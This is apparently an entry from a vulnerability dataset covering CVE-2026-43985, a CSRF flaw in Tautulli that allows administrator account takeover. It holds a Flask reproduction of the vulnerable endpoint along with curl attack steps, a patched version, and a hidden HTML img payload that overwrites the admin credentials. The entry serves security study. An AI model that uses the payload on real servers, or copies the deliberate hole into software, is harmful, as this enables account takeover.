{"id":1955,"cve":"CVE-2026-43985","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-43985\/","cwe":"CWE-352","cwe_number":352,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/352","cvss_score":8.8,"published":"2026-06-04","owasp":"A01 Broken Access Control","odc":"Checking","cdc":"Missing Check","category":"Authentication, Authorization, and Session Management","subcategory":"Cross-Site Request Forgery (CSRF)","scope":"Remote","impact":"Unauthorized Access","summary":"A CSRF vulnerability in Tautulli allows for administrative account takeover.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-43985\/","description":"Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Versions prior to 2.17.1 expose `configUpdate` as a state-changing administrator endpoint, but the route does not enforce `POST` and does not use any anti-CSRF token. In the default form and JWT-based authentication mode, the administrator session cookie is issued with `SameSite=Lax`, which still permits top-level cross-site navigation requests. An attacker can exploit this by luring a logged-in administrator to a malicious page that submits a cross-site request to `\/configUpdate` and overwrites the local administrator username and password. The attacker can then sign in directly with the chosen credentials and take over the Tautulli administrative interface. Version 2.17.1 patches the issue.","solution":"Upgrade Tautulli to version 2.17.1 or later.","affected_component":"Tautulli","fixed_by_upgrading":true,"vulnerable_code":"from flask import Flask, request, session, redirect, url_for, jsonify\nfrom functools import wraps\n\n# This is a simplified representation of the Tautulli application before the fix.\n# It uses Flask to demonstrate the web application logic.\n\napp = Flask(__name__)\n# A secret key is required for session management in Flask.\napp.secret_key = 'vulnerable-secret-key-for-demonstration'\n\n# In-memory \"database\" to store the configuration, including admin credentials.\n# In the real application, this would be a configuration file.\nconfig_data = {\n    'http_username': 'admin',\n    'http_password': 'initial_secure_password'\n}\n\ndef admin_required(f):\n    \"\"\"A decorator to ensure the user is a logged-in administrator.\"\"\"\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if not session.get('is_admin'):\n            # In a real app, this might return a 401\/403 error.\n            # For simplicity, we'll just show an error message.\n            return jsonify({\"status\": \"error\", \"message\": \"Authentication required.\"}), 401\n        return f(*args, **kwargs)\n    return decorated_function\n\n@app.route('\/login', methods=['POST'])\ndef login():\n    \"\"\"A simplified login endpoint to simulate an admin session.\"\"\"\n    # This is not part of the vulnerability but is needed to set up the scenario.\n    if request.form.get('username') == config_data['http_username'] and \\\n       request.form.get('password') == config_data['http_password']:\n        session['is_admin'] = True\n        return jsonify({\"status\": \"success\", \"message\": \"Logged in as admin.\"})\n    return jsonify({\"status\": \"error\", \"message\": \"Invalid credentials.\"}), 403\n\n# --- The Vulnerable Endpoint ---\n# This endpoint represents the state of Tautulli prior to version 2.17.1.\n@app.route('\/configUpdate', methods=['GET', 'POST'])\n@admin_required\ndef config_update():\n    \"\"\"\n    VULNERABILITY: This endpoint is accessible via GET request.\n    A GET request should be idempotent and not change server state.\n    Because it accepts GET, it is vulnerable to Cross-Site Request Forgery (CSRF),\n    as SameSite=Lax cookies are sent with top-level cross-site navigation requests.\n\n    VULNERABILITY: There is no anti-CSRF token validation.\n    \"\"\"\n\n    # The code incorrectly uses request.args for GET requests to fetch parameters\n    # that will be used to modify the application's configuration.\n    params = request.args if request.method == 'GET' else request.form\n\n    new_username = params.get('http_username')\n    new_password = params.get('http_password')\n\n    if new_username:\n        config_data['http_username'] = new_username\n        print(f\"[VULNERABLE ACTION] Admin username changed to: {new_username}\")\n\n    if new_password:\n        config_data['http_password'] = new_password\n        print(f\"[VULNERABLE ACTION] Admin password changed to: {new_password}\")\n\n    # In a real application, this would save the changes to a config file.\n    # An attacker can now log in with the new credentials.\n    return jsonify({\n        \"status\": \"success\",\n        \"message\": \"Configuration updated successfully.\",\n        \"new_config_preview\": {\n            \"http_username\": config_data['http_username']\n            # Password is not shown for security, but it was changed.\n        }\n    })\n\n# Helper endpoint to check the current (potentially compromised) config.\n@app.route('\/status')\n@admin_required\ndef status():\n    return jsonify(config_data)\n\nif __name__ == '__main__':\n    print(\"Vulnerable Server Simulation\")\n    print(\"--------------------------\")\n    print(\"This server simulates the behavior of Tautulli < 2.17.1.\")\n    print(\"An admin session cookie is sent with SameSite=Lax by default.\")\n    print(\"The \/configUpdate endpoint is vulnerable to CSRF via a GET request.\")\n    print(\"\\nTo simulate the attack:\")\n    print(\"1. Simulate login (e.g., using curl):\")\n    print(\"   curl -X POST http:\/\/127.0.0.1:8080\/login -d \\\"username=admin&password=initial_secure_password\\\" --cookie-jar cookie.txt\")\n    print(\"2. Lure the 'admin' to a malicious page, which makes this request in the background (e.g., via an img tag):\")\n    print(\"   <img src=\\\"http:\/\/127.0.0.1:8080\/configUpdate?http_username=attacker&http_password=hacked\\\">\")\n    print(\"3. Simulate visiting the malicious URL with the admin's session cookie:\")\n    print(\"   curl \\\"http:\/\/127.0.0.1:8080\/configUpdate?http_username=attacker&http_password=hacked\\\" --cookie cookie.txt\")\n    print(\"4. The attacker can now log in with username 'attacker' and password 'hacked'.\")\n    print(\"   curl -X POST http:\/\/127.0.0.1:8080\/login -d \\\"username=attacker&password=hacked\\\"\")\n\n    app.run(host='0.0.0.0', port=8080)","patched_code":"import os\nfrom functools import wraps\nfrom flask import Flask, request, session, jsonify, abort\n\napp = Flask(__name__)\n# A secret key is required for session management, which stores the CSRF token\napp.secret_key = os.urandom(24)\n\ndef admin_required(f):\n    \"\"\"Mock decorator to simulate checking for an administrator session.\"\"\"\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if session.get(\"is_admin\"):\n            return f(*args, **kwargs)\n        abort(401) # Unauthorized\n    return decorated_function\n\n# The vulnerable endpoint would have accepted GET requests and had no CSRF check.\n# The fixed endpoint enforces the POST method and validates a CSRF token.\n@app.route('\/configUpdate', methods=['POST'])\n@admin_required\ndef config_update():\n    # FIX 1: The route decorator above enforces that only POST requests are accepted.\n    # This prevents attackers from triggering the action with simple HTML tags like <img> or <a>.\n\n    # FIX 2: Validate a CSRF token from the form against one stored in the session.\n    # An attacker's malicious site cannot access or guess this token.\n    submitted_token = request.form.get('csrf_token')\n    session_token = session.get('csrf_token')\n\n    if not submitted_token or not session_token or submitted_token != session_token:\n        abort(403) # Forbidden - CSRF attempt detected\n\n    # If both checks pass, the state-changing action can proceed safely.\n    username = request.form.get('username')\n    password = request.form.get('password')\n\n    if username and password:\n        # In a real application, this is where administrator credentials would be updated.\n        return jsonify({\"status\": \"success\", \"message\": \"Configuration updated.\"})\n\n    return jsonify({\"status\": \"error\", \"message\": \"Missing parameters.\"}), 400","payload_needed":true,"payload":"```html\n<html>\n  <body>\n    <img src=\"http:\/\/[TAUTULLI_HOST]:[PORT]\/configUpdate?http_username=attacker&http_password=pwned\" width=\"0\" height=\"0\" border=\"0\">\n  <\/body>\n<\/html>\n```","payload_status":"available","published_fix":[],"references":null}